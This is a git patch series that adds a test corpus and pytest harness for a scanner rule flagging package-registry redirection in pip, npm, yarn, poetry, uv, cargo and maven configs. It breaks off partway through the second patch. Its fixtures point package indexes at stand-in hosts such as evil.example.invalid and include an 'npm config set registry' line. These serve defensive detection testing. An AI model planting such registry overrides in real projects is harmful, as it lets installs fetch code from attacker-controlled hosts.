From a87e02788b111fb60e880ae54d10e2cabb99b61d Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 15:35:52 -0700 Subject: [PATCH 01/30] test(sc10): add permanent dependency source corpus Signed-off-by: Nir Paz --- pyproject.toml | 3 + tests/nodes/analyzers/data/sc10_controls.json | 525 ++++++++++++++++++ tests/nodes/analyzers/data/sc10_findings.json | 416 ++++++++++++++ tests/nodes/analyzers/test_sc10_gap_corpus.py | 188 +++++++ 4 files changed, 1132 insertions(+) create mode 100644 tests/nodes/analyzers/data/sc10_controls.json create mode 100644 tests/nodes/analyzers/data/sc10_findings.json create mode 100644 tests/nodes/analyzers/test_sc10_gap_corpus.py diff --git a/pyproject.toml b/pyproject.toml index 18184d17..1bd897dc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -116,5 +116,8 @@ asyncio_mode = "auto" markers = [ "integration: end-to-end tests that invoke the full graph (may call LLMs)", "provider: live OpenAI/Anthropic/NVIDIA Build provider endpoint tests", + "sc10_pr1: dependency-source behavior owned by the direct-configuration PR", + "sc10_pr2: dependency-source behavior owned by the executable-surface PR", + "sc10_deferred: dependency-source behavior with an explicitly deferred owner", ] addopts = "-m 'not integration and not provider'" diff --git a/tests/nodes/analyzers/data/sc10_controls.json b/tests/nodes/analyzers/data/sc10_controls.json new file mode 100644 index 00000000..e14cb818 --- /dev/null +++ b/tests/nodes/analyzers/data/sc10_controls.json @@ -0,0 +1,525 @@ +{ + "schema_version": 1, + "rows": [ + { + "id": "control-pip-global-index", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nindex-url = https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "global", + "destination": "https://evil.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "control-pip-install-index", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[install]\nindex-url = https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "install", + "destination": "https://evil.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "control-maven-compact-mirror", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "settings.xml": "e*\nhttps://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "maven", + "surface": "settings.xml mirror", + "operation": "replace", + "scope": "*", + "destination": "https://evil.example.invalid/simple", + "destination_status": "resolved", + "file": "settings.xml", + "start_line": 2 + } + ] + }, + { + "id": "control-poetry-source", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pyproject.toml": "[[tool.poetry.source]]\nname = \"evil\"\nurl = \"https://evil.example.invalid/simple\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "pyproject.toml source", + "operation": "add", + "scope": "evil", + "destination": "https://evil.example.invalid/simple", + "destination_status": "resolved", + "file": "pyproject.toml", + "start_line": 3 + } + ] + }, + { + "id": "control-cargo-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".cargo/config.toml": "[registries.evil]\nindex = \"https://evil.example.invalid/simple\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo registry index", + "operation": "add", + "scope": "evil", + "destination": "https://evil.example.invalid/simple", + "destination_status": "resolved", + "file": ".cargo/config.toml", + "start_line": 2 + } + ] + }, + { + "id": "control-npmrc-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".npmrc": "registry=https://packages.example.invalid/\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": ".npmrc", + "start_line": 1 + } + ] + }, + { + "id": "control-npmrc-spaced-assignment", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".npmrc": "registry = https://packages.example.invalid/\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": ".npmrc", + "start_line": 1 + } + ] + }, + { + "id": "control-npmrc-scoped-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".npmrc": "@acme:registry=https://packages.example.invalid/\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "@acme", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": ".npmrc", + "start_line": 1 + } + ] + }, + { + "id": "control-npmrc-canonical-with-slash", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".npmrc": "registry=https://registry.npmjs.org/\n" + }, + "expected_sc10": [] + }, + { + "id": "control-npmrc-canonical-without-slash", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".npmrc": "registry=https://registry.npmjs.org\n" + }, + "expected_sc10": [] + }, + { + "id": "control-npmrc-canonical-with-comment", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".npmrc": "registry=https://registry.npmjs.org/ # note\n" + }, + "expected_sc10": [] + }, + { + "id": "control-npmrc-auth-token-only", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".npmrc": "//packages.example.invalid/:_authToken=${NPM_TOKEN}\n" + }, + "expected_sc10": [] + }, + { + "id": "control-yarnrc-canonical-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".yarnrc": "registry \"https://registry.yarnpkg.com\"\n" + }, + "expected_sc10": [] + }, + { + "id": "control-npmrc-quoted-canonical-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".npmrc": "registry=\"https://registry.npmjs.org/\"\n" + }, + "expected_sc10": [] + }, + { + "id": "control-npmrc-nested-path", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "project/.npmrc": "registry=https://packages.example.invalid/\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": "project/.npmrc", + "start_line": 1 + } + ] + }, + { + "id": "control-npmrc-hidden-parent", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".config/.npmrc": "registry=https://packages.example.invalid/\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": ".config/.npmrc", + "start_line": 1 + } + ] + }, + { + "id": "control-pip-basic-index", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nindex-url = https://packages.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "control-pip-extra-index", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[install]\nextra-index-url = https://packages.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "install", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "control-pip-canonical-index", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + "pip.conf": "[global]\nindex-url = https://pypi.org/simple\n" + }, + "expected_sc10": [] + }, + { + "id": "control-pip-ini-index", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.ini": "[global]\nindex-url = https://packages.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.ini", + "start_line": 2 + } + ] + }, + { + "id": "control-yarn-scoped-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc.yml": "npmScopes:\n acme:\n npmRegistryServer: \"https://packages.example.invalid\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc.yml", + "operation": "replace", + "scope": "acme", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc.yml", + "start_line": 3 + } + ] + }, + { + "id": "control-yarn-http-registry", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc.yml": "unsafeHttpWhitelist:\n - \"packages.example.invalid\"\nnpmRegistryServer: \"http://packages.example.invalid\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc.yml", + "operation": "replace", + "scope": "global", + "destination": "http://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc.yml", + "start_line": 3 + } + ] + }, + { + "id": "control-poetry-private-source", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pyproject.toml": "[[tool.poetry.source]]\nname = \"private\"\nurl = \"https://packages.example.invalid/simple\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "pyproject.toml source", + "operation": "add", + "scope": "private", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pyproject.toml", + "start_line": 3 + } + ] + }, + { + "id": "control-cargo-source-replacement-toml", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".cargo/config.toml": "[source.crates-io]\nreplace-with = \"mirror\"\n\n[source.mirror]\nregistry = \"sparse+https://packages.example.invalid/index/\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo source.replace-with", + "operation": "replace", + "scope": "crates-io", + "destination": "sparse+https://packages.example.invalid/index/", + "destination_status": "resolved", + "file": ".cargo/config.toml", + "start_line": 2 + } + ] + }, + { + "id": "control-cargo-source-replacement-extensionless", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".cargo/config": "[source.crates-io]\nreplace-with = \"mirror\"\n\n[source.mirror]\nregistry = \"sparse+https://packages.example.invalid/index/\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo source.replace-with", + "operation": "replace", + "scope": "crates-io", + "destination": "sparse+https://packages.example.invalid/index/", + "destination_status": "resolved", + "file": ".cargo/config", + "start_line": 2 + } + ] + }, + { + "id": "control-maven-namespaced-mirror", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "settings.xml": "\n \n \n m\n central\n https://packages.example.invalid/maven2\n \n \n\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "maven", + "surface": "settings.xml mirror", + "operation": "replace", + "scope": "central", + "destination": "https://packages.example.invalid/maven2", + "destination_status": "resolved", + "file": "settings.xml", + "start_line": 6 + } + ] + }, + { + "id": "control-maven-commented-repository", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + "pom.xml": "\n \n\n" + }, + "expected_sc10": [] + }, + { + "id": "control-maven-plugin-repository", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pom.xml": "\n \n \n p\n https://packages.example.invalid/m2\n \n \n\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "maven", + "surface": "Maven repository", + "operation": "add", + "scope": "p", + "destination": "https://packages.example.invalid/m2", + "destination_status": "resolved", + "file": "pom.xml", + "start_line": 5 + } + ] + } + ] +} diff --git a/tests/nodes/analyzers/data/sc10_findings.json b/tests/nodes/analyzers/data/sc10_findings.json new file mode 100644 index 00000000..c2175be4 --- /dev/null +++ b/tests/nodes/analyzers/data/sc10_findings.json @@ -0,0 +1,416 @@ +{ + "schema_version": 1, + "rows": [ + { + "id": "pipconf-colon-delimiter", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nindex-url: https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "global", + "destination": "https://evil.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "pip-conf-colon-delimiter", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nindex-url: https://packages.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "pip-conf-multiline-continuation", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nextra-index-url =\n https://packages.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 3 + } + ] + }, + { + "id": "pip-conf-continuation-drops-extra-urls", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nextra-index-url = https://a.example.invalid/simple\n https://b.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://a.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://b.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 3 + } + ] + }, + { + "id": "pip-conf-multi-url-single-line", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pip.conf": "[global]\nextra-index-url = https://a.example.invalid/simple https://b.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://a.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://b.example.invalid/simple", + "destination_status": "resolved", + "file": "pip.conf", + "start_line": 2 + } + ] + }, + { + "id": "yarnrc-yaml-flow-style", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc.yml": "npmScopes: {acme: {npmRegistryServer: \"https://packages.example.invalid\"}}\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc.yml", + "operation": "replace", + "scope": "acme", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc.yml", + "start_line": 1 + } + ] + }, + { + "id": "yarnrc-yaml-quoted-key", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc.yml": "\"npmRegistryServer\": \"https://packages.example.invalid\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc.yml", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc.yml", + "start_line": 1 + } + ] + }, + { + "id": "yarnrc-v1-scoped-quoted-key", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc": "\"@acme:registry\" \"https://packages.example.invalid\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc", + "operation": "replace", + "scope": "@acme", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc", + "start_line": 1 + } + ] + }, + { + "id": "yarnrc-yaml-block-scalar", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc.yml": "npmRegistryServer: >-\n https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc.yml", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc.yml", + "start_line": 1, + "end_line": 2 + } + ] + }, + { + "id": "yarnrc-yaml-explicit-alias", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".yarnrc.yml": "defaults: ® \"https://packages.example.invalid\"\nnpmRegistryServer: *reg\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": ".yarnrc.yml", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": ".yarnrc.yml", + "start_line": 2 + } + ] + }, + { + "id": "yarnrc-context-free-registry-key", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".yarnrc.yml": "packageExtensions:\n \"foo@*\":\n dependencies:\n registry: 1.0.0\n" + }, + "expected_sc10": [] + }, + { + "id": "pyproject-uv-index-table", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pyproject.toml": "[project]\nname = \"demo\"\nversion = \"0.1.0\"\n\n[[tool.uv.index]]\nname = \"private\"\nurl = \"https://packages.example.invalid/simple\"\ndefault = true\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "uv", + "surface": "pyproject.toml index", + "operation": "replace", + "scope": "private", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pyproject.toml", + "start_line": 7 + } + ] + }, + { + "id": "uv-toml-index-table", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "uv.toml": "[[index]]\nname = \"private\"\nurl = \"https://packages.example.invalid/simple\"\ndefault = true\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "uv", + "surface": "uv.toml index", + "operation": "replace", + "scope": "private", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "uv.toml", + "start_line": 3 + } + ] + }, + { + "id": "npmrc-semicolon-inline-comment", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".npmrc": "registry=https://registry.npmjs.org/ ; company mirror is set per-project\n" + }, + "expected_sc10": [] + }, + { + "id": "cargo-vendored-sources", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + ".cargo/config.toml": "[source.crates-io]\nreplace-with = \"vendored-sources\"\n\n[source.vendored-sources]\ndirectory = \"vendor\"\n" + }, + "expected_sc10": [] + }, + { + "id": "cargo-replace-with-registry-table", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + ".cargo/config.toml": "[source.crates-io]\nreplace-with = \"mirror\"\n\n[registries.mirror]\nindex = \"sparse+https://packages.example.invalid/index/\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo source.replace-with", + "operation": "replace", + "scope": "crates-io", + "destination": "sparse+https://packages.example.invalid/index/", + "destination_status": "resolved", + "file": ".cargo/config.toml", + "start_line": 2 + } + ] + }, + { + "id": "maven-distribution-management", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "inert", + "files": { + "pom.xml": "\n \n \n internal\n https://packages.example.invalid/releases\n \n \n\n" + }, + "expected_sc10": [] + }, + { + "id": "line-anchor-poetry-url", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "pyproject.toml": "# mirror docs: https://packages.example.invalid/simple\n[tool.poetry]\nname = \"demo\"\n\n[[tool.poetry.source]]\nname = \"private\"\nurl = \"https://packages.example.invalid/simple\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "pyproject.toml source", + "operation": "add", + "scope": "private", + "destination": "https://packages.example.invalid/simple", + "destination_status": "resolved", + "file": "pyproject.toml", + "start_line": 7 + } + ] + }, + { + "id": "line-anchor-maven-url", + "status": "unfixed", + "lands_in": "PR-1", + "expected_outcome": "finding", + "files": { + "settings.xml": "\n\n\n\ncentral-mirror\n*\nhttps://packages.example.invalid/maven2\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "maven", + "surface": "settings.xml mirror", + "operation": "replace", + "scope": "*", + "destination": "https://packages.example.invalid/maven2", + "destination_status": "resolved", + "file": "settings.xml", + "start_line": 7 + } + ] + }, + { + "id": "markdown-nonstandard-filename-limitation", + "status": "unfixed", + "lands_in": "DEFERRED", + "expected_outcome": "limitation", + "files": { + "docs/install.md": "# d\n```bash\nnpm config set registry https://packages.example.invalid/\n```\n" + }, + "expected_sc10": [], + "expected_limitation": { + "reason": "unscanned_executable_content", + "path": "docs/install.md", + "range": { + "start_line": 2, + "end_line": 4 + } + } + } + ] +} diff --git a/tests/nodes/analyzers/test_sc10_gap_corpus.py b/tests/nodes/analyzers/test_sc10_gap_corpus.py new file mode 100644 index 00000000..42a95a55 --- /dev/null +++ b/tests/nodes/analyzers/test_sc10_gap_corpus.py @@ -0,0 +1,188 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Permanent behavioral corpus for dependency-source trust-boundary changes.""" + +from __future__ import annotations + +import json +import os +from collections import Counter +from pathlib import Path +from typing import Any + +import pytest + +DATA_DIR = Path(__file__).with_name("data") +DATA_FILES = (DATA_DIR / "sc10_findings.json", DATA_DIR / "sc10_controls.json") +STATUS_VALUES = {"fixed", "unfixed", "deferred"} +OWNER_VALUES = {"PR-1", "PR-2", "DEFERRED"} +OUTCOME_VALUES = {"finding", "inert", "limitation"} +FINDING_FIELDS = { + "severity", + "ecosystem", + "surface", + "operation", + "scope", + "destination", + "destination_status", + "file", + "start_line", +} +ROW_FIELDS = {"id", "status", "lands_in", "expected_outcome", "files", "expected_sc10"} +PROHIBITED_FIELDS = { + "expect", + "expect_sc10", + "expected_prose", + "family", + "generated_from", + "index", + "input_note", + "kind", + "observed_today", + "root_cause", +} + + +def _load_rows() -> tuple[list[dict[str, Any]], list[dict[str, Any]]]: + documents = [json.loads(path.read_text(encoding="utf-8")) for path in DATA_FILES] + assert all(set(document) == {"schema_version", "rows"} for document in documents) + assert all(document["schema_version"] == 1 for document in documents) + return documents[0]["rows"], documents[1]["rows"] + + +FINDING_ROWS, CONTROL_ROWS = _load_rows() +ALL_ROWS = FINDING_ROWS + CONTROL_ROWS + + +def _row_marks(row: dict[str, Any]) -> list[pytest.MarkDecorator]: + owner_mark = { + "PR-1": pytest.mark.sc10_pr1, + "PR-2": pytest.mark.sc10_pr2, + "DEFERRED": pytest.mark.sc10_deferred, + }[row["lands_in"]] + marks = [owner_mark] + if row["status"] != "fixed" and os.getenv("SKILLSPECTOR_SC10_GAPS") != "enforce": + marks.append(pytest.mark.xfail(strict=True, reason=f"SC10 gap: {row['id']}")) + return marks + + +BEHAVIOR_PARAMETERS = [pytest.param(row, id=row["id"], marks=_row_marks(row)) for row in ALL_ROWS] + + +def _normalized_finding(finding: Any) -> dict[str, Any]: + evidence = finding.evidence + normalized = { + "severity": finding.severity, + "ecosystem": evidence["ecosystem"], + "surface": evidence["surface"], + "operation": evidence["operation"], + "scope": evidence["scope"], + "destination": evidence["destination"], + "destination_status": evidence["destination_status"], + "file": finding.file, + "start_line": finding.start_line, + } + end_line = getattr(finding, "end_line", None) + if end_line is not None and end_line != finding.start_line: + normalized["end_line"] = end_line + return normalized + + +def _normalized_limitation(limitation: Any) -> dict[str, Any]: + return { + "reason": getattr(limitation.reason, "value", limitation.reason), + "path": limitation.path, + "range": { + "start_line": limitation.start_line, + "end_line": limitation.end_line, + }, + } + + +def _multiset(records: list[dict[str, Any]]) -> Counter[str]: + return Counter(json.dumps(record, sort_keys=True) for record in records) + + +def _mapping_keys(value: Any) -> set[str]: + if isinstance(value, dict): + return set(value) | { + nested_key + for nested_value in value.values() + for nested_key in _mapping_keys(nested_value) + } + if isinstance(value, list): + return {nested_key for item in value for nested_key in _mapping_keys(item)} + return set() + + +def test_corpus_schema_and_self_checks() -> None: + assert FINDING_ROWS, "findings corpus must not be empty" + assert CONTROL_ROWS, "controls corpus must not be empty" + + ids = [row["id"] for row in ALL_ROWS] + assert len(ids) == len(set(ids)) + file_inputs: list[tuple[str, str]] = [] + for row in ALL_ROWS: + allowed_fields = ROW_FIELDS | ( + {"expected_limitation"} if "expected_limitation" in row else set() + ) + assert set(row) == allowed_fields + assert not (_mapping_keys(row) & PROHIBITED_FIELDS) + assert row["status"] in STATUS_VALUES + assert row["lands_in"] in OWNER_VALUES + assert row["expected_outcome"] in OUTCOME_VALUES + assert isinstance(row["files"], dict) and len(row["files"]) == 1 + path, content = next(iter(row["files"].items())) + assert isinstance(path, str) and path + assert isinstance(content, str) + file_inputs.append((path, content)) + assert isinstance(row["expected_sc10"], list) + for expected in row["expected_sc10"]: + assert set(expected) == FINDING_FIELDS or set(expected) == FINDING_FIELDS | {"end_line"} + assert expected["severity"] == "HIGH" + assert expected["destination_status"] in {"resolved", "unresolved"} + assert isinstance(expected["start_line"], int) and expected["start_line"] >= 1 + if "end_line" in expected: + assert isinstance(expected["end_line"], int) + assert expected["end_line"] > expected["start_line"] + if row["expected_outcome"] == "finding": + assert row["expected_sc10"] + assert "expected_limitation" not in row + elif row["expected_outcome"] == "inert": + assert row["expected_sc10"] == [] + assert "expected_limitation" not in row + else: + assert row["expected_sc10"] == [] + assert set(row["expected_limitation"]) == {"reason", "path", "range"} + assert set(row["expected_limitation"]["range"]) == {"start_line", "end_line"} + assert row["expected_limitation"]["reason"] == "unscanned_executable_content" + assert row["expected_limitation"]["path"] == path + limitation_range = row["expected_limitation"]["range"] + assert 1 <= limitation_range["start_line"] <= limitation_range["end_line"] + + assert len(file_inputs) == len(set(file_inputs)) + assert len(ALL_ROWS) == len(FINDING_ROWS) + len(CONTROL_ROWS) + + +@pytest.mark.parametrize("row", BEHAVIOR_PARAMETERS) +def test_dependency_source_behavior(row: dict[str, Any]) -> None: + try: + from skillspector.dependency_sources import analyze_dependency_sources + except ImportError as exc: + pytest.fail(f"real dependency-source analyzer is unavailable: {exc}") + + files = row["files"] + analysis = analyze_dependency_sources(sorted(files), files, []) + findings = list(getattr(analysis, "findings", analysis)) + limitations = list(getattr(analysis, "limitations", [])) + actual_sc10 = [ + _normalized_finding(finding) for finding in findings if finding.rule_id == "SC10" + ] + assert len(actual_sc10) == len(row["expected_sc10"]) + assert _multiset(actual_sc10) == _multiset(row["expected_sc10"]) + + expected_limitations = [row["expected_limitation"]] if "expected_limitation" in row else [] + actual_limitations = [_normalized_limitation(item) for item in limitations] + assert len(actual_limitations) == len(expected_limitations) + assert _multiset(actual_limitations) == _multiset(expected_limitations) From c54dfbc6b9185cb394affee4c33f708797e23e41 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 15:46:40 -0700 Subject: [PATCH 02/30] test(sc10): tighten direct corpus contracts Signed-off-by: Nir Paz --- tests/nodes/analyzers/data/sc10_controls.json | 23 +++++++++ tests/nodes/analyzers/data/sc10_findings.json | 12 +++++ tests/nodes/analyzers/test_sc10_gap_corpus.py | 51 ++++++++++++++----- 3 files changed, 74 insertions(+), 12 deletions(-) diff --git a/tests/nodes/analyzers/data/sc10_controls.json b/tests/nodes/analyzers/data/sc10_controls.json index e14cb818..c86c430f 100644 --- a/tests/nodes/analyzers/data/sc10_controls.json +++ b/tests/nodes/analyzers/data/sc10_controls.json @@ -1,5 +1,6 @@ { "schema_version": 1, + "expected_row_count": 28, "rows": [ { "id": "control-pip-global-index", @@ -442,6 +443,17 @@ "destination_status": "resolved", "file": ".cargo/config.toml", "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo source registry", + "operation": "add", + "scope": "mirror", + "destination": "sparse+https://packages.example.invalid/index/", + "destination_status": "resolved", + "file": ".cargo/config.toml", + "start_line": 5 } ] }, @@ -464,6 +476,17 @@ "destination_status": "resolved", "file": ".cargo/config", "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo source registry", + "operation": "add", + "scope": "mirror", + "destination": "sparse+https://packages.example.invalid/index/", + "destination_status": "resolved", + "file": ".cargo/config", + "start_line": 5 } ] }, diff --git a/tests/nodes/analyzers/data/sc10_findings.json b/tests/nodes/analyzers/data/sc10_findings.json index c2175be4..508c21fd 100644 --- a/tests/nodes/analyzers/data/sc10_findings.json +++ 